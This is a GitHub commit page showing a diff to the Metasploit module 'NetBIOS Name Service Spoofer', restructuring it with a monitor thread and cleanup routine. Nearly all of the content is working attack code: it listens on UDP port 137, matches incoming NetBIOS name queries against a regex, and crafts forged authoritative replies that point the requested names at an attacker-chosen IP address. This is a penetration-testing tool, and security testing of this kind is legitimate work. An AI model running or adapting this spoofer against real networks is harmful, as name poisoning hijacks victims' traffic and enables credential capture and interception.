Skip to content

Commit 1b1716b

Browse files
author
HD Moore
committed
Fix a handful of bugs that broke this modules. Fixes rapid7#4799
1 parent 9730a16 commit 1b1716b

File tree

1 file changed

+125
-86
lines changed

1 file changed

+125
-86
lines changed

modules/auxiliary/spoof/nbns/nbns_response.rb

Lines changed: 125 additions & 86 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary
99

1010
include Msf::Exploit::Capture
1111

12+
attr_accessor :sock, :thread
13+
14+
1215
def initialize
1316
super(
1417
'Name' => 'NetBIOS Name Service Spoofer',
@@ -44,108 +47,144 @@ def initialize
4447
])
4548

4649
register_advanced_options([
47-
OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false])
50+
OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false])
4851
])
4952

5053
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
54+
self.thread = nil
55+
self.sock = nil
5156
end
5257

53-
def run
54-
check_pcaprub_loaded() # Check first since otherwise this is all for naught
55-
# MacOS X workaround
56-
::Socket.do_not_reverse_lookup = true
58+
def dispatch_request(packet, rhost, src_port)
59+
rhost = ::IPAddr.new(rhost)
60+
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
61+
# addr like "::ffff:192.168.0.1" when the interface we're listening
62+
# on has an IPv6 address. Convert it to just the v4 addr
63+
if rhost.ipv4_mapped?
64+
rhost = rhost.native
65+
end
5766

58-
@sock = ::UDPSocket.new()
59-
@sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
60-
@sock.bind('', 137) # couldn't specify srv host because it missed broadcasts
67+
# Convert to string
68+
rhost = rhost.to_s
6169

62-
@run = true
70+
spoof = ::IPAddr.new(datastore['SPOOFIP'])
6371

64-
print_status("NBNS Spoofer started. Listening for NBNS requests...")
72+
return if packet.length == 0
6573

66-
begin
74+
nbnsq_transid = packet[0..1]
75+
nbnsq_flags = packet[2..3]
76+
nbnsq_questions = packet[4..5]
77+
nbnsq_answerrr = packet[6..7]
78+
nbnsq_authorityrr = packet[8..9]
79+
nbnsq_additionalrr = packet[10..11]
80+
nbnsq_name = packet[12..45]
81+
decoded = ""
82+
nbnsq_name.slice(1..-2).each_byte do |c|
83+
decoded << "#{(c - 65).to_s(16)}"
84+
end
85+
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
86+
nbnsq_type = packet[46..47]
87+
nbnsq_class = packet[48..49]
88+
89+
return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i
90+
91+
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
92+
93+
if datastore['DEBUG']
94+
print_status("transid: #{nbnsq_transid.unpack('H4')}")
95+
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
96+
print_status("questions: #{nbnsq_questions.unpack('n')}")
97+
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
98+
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
99+
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
100+
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
101+
print_status("full name: #{nbnsq_name.slice(1..-2)}")
102+
print_status("decoded: #{decoded}")
103+
print_status("decoded name: #{nbnsq_decodedname}")
104+
print_status("type: #{nbnsq_type.unpack('n')}")
105+
print_status("class: #{nbnsq_class.unpack('n')}")
106+
end
67107

68-
while @run # Not exactly thrilled we can never turn this off XXX fix this sometime.
69-
packet, addr = @sock.recvfrom(512)
70-
src_port = addr[1]
71-
rhost = addr[3]
108+
# time to build a response packet - Oh YEAH!
109+
response = nbnsq_transid +
110+
"\x85\x00" + # Flags = response + authoratative + recursion desired +
111+
"\x00\x00" + # Questions = 0
112+
"\x00\x01" + # Answer RRs = 1
113+
"\x00\x00" + # Authority RRs = 0
114+
"\x00\x00" + # Additional RRs = 0
115+
nbnsq_name + # original query name
116+
nbnsq_type + # Type = NB ...whatever that means
117+
nbnsq_class+ # Class = IN
118+
"\x00\x04\x93\xe0" + # TTL = a long ass time
119+
"\x00\x06" + # Datalength = 6
120+
"\x00\x00" + # Flags B-node, unique = whatever that means
121+
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
122+
123+
pkt = PacketFu::UDPPacket.new
124+
pkt.ip_saddr = Rex::Socket.source_address(rhost)
125+
pkt.ip_daddr = rhost
126+
pkt.ip_ttl = 255
127+
pkt.udp_sport = 137
128+
pkt.udp_dport = src_port
129+
pkt.payload = response
130+
pkt.recalc
131+
132+
capture_sendto(pkt, rhost)
133+
end
72134

73-
break if packet.length == 0
135+
def monitor_socket
136+
while true
137+
rds = [self.sock]
138+
wds = []
139+
eds = [self.sock]
74140

75-
nbnsq_transid = packet[0..1]
76-
nbnsq_flags = packet[2..3]
77-
nbnsq_questions = packet[4..5]
78-
nbnsq_answerrr = packet[6..7]
79-
nbnsq_authorityrr = packet[8..9]
80-
nbnsq_additionalrr = packet[10..11]
81-
nbnsq_name = packet[12..45]
82-
decoded = ""
83-
nbnsq_name.slice(1..-2).each_byte do |c|
84-
decoded << "#{(c - 65).to_s(16)}"
141+
r,_,_ = ::IO.select(rds,wds,eds,0.25)
142+
if (r != nil and r[0] == self.sock)
143+
packet, host, port = self.sock.recvfrom(65535)
144+
dispatch_request(packet, host, port)
85145
end
86-
nbnsq_decodedname = "#{[decoded].pack('H*')}".strip()
87-
nbnsq_type = packet[46..47]
88-
nbnsq_class = packet[48..49]
89-
90-
if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i)
91-
92-
vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}")
93-
94-
if datastore['DEBUG']
95-
print_status("transid: #{nbnsq_transid.unpack('H4')}")
96-
print_status("tlags: #{nbnsq_flags.unpack('B16')}")
97-
print_status("questions: #{nbnsq_questions.unpack('n')}")
98-
print_status("answerrr: #{nbnsq_answerrr.unpack('n')}")
99-
print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}")
100-
print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}")
101-
print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}")
102-
print_status("full name: #{nbnsq_name.slice(1..-2)}")
103-
print_status("decoded: #{decoded}")
104-
print_status("decoded name: #{nbnsq_decodedname}")
105-
print_status("type: #{nbnsq_type.unpack('n')}")
106-
print_status("class: #{nbnsq_class.unpack('n')}")
107-
end
108-
109-
# time to build a response packet - Oh YEAH!
110-
response = nbnsq_transid +
111-
"\x85\x00" + # Flags = response + authoratative + recursion desired +
112-
"\x00\x00" + # Questions = 0
113-
"\x00\x01" + # Answer RRs = 1
114-
"\x00\x00" + # Authority RRs = 0
115-
"\x00\x00" + # Additional RRs = 0
116-
nbnsq_name + # original query name
117-
nbnsq_type + # Type = NB ...whatever that means
118-
nbnsq_class+ # Class = IN
119-
"\x00\x04\x93\xe0" + # TTL = a long ass time
120-
"\x00\x06" + # Datalength = 6
121-
"\x00\x00" + # Flags B-node, unique = whet ever that means
122-
datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*')
123-
124-
open_pcap
125-
126-
p = PacketFu::UDPPacket.new
127-
p.ip_saddr = Rex::Socket.source_address(rhost)
128-
p.ip_daddr = rhost
129-
p.ip_ttl = 255
130-
p.udp_sport = 137
131-
p.udp_dport = src_port
132-
p.payload = response
133-
p.recalc
134-
135-
capture_sendto(p, rhost)
136-
137-
close_pcap
138-
139-
else
140-
vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex")
146+
end
147+
end
148+
149+
def run
150+
check_pcaprub_loaded()
151+
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
152+
153+
# Avoid receiving extraneous traffic on our send socket
154+
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
155+
156+
self.sock = Rex::Socket.create_udp(
157+
'LocalHost' => "0.0.0.0",
158+
'LocalPort' => 137,
159+
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
160+
)
161+
add_socket(self.sock)
162+
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
163+
164+
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
165+
begin
166+
monitor_socket
167+
rescue ::Interrupt
168+
raise $!
169+
rescue ::Exception
170+
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
141171
end
172+
}
173+
174+
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...")
175+
176+
while thread.alive?
177+
IO.select(nil, nil, nil, 0.25)
142178
end
179+
print_status("NBNS Monitor thread exited...")
180+
end
143181

144-
rescue ::Exception => e
145-
print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}")
146-
# Make sure the socket gets closed on exit
147-
ensure
148-
@sock.close
182+
def cleanup
183+
if self.thread and self.thread.alive?
184+
self.thread.kill
185+
self.thread = nil
149186
end
187+
close_pcap
150188
end
189+
151190
end

0 commit comments

Comments
 (0)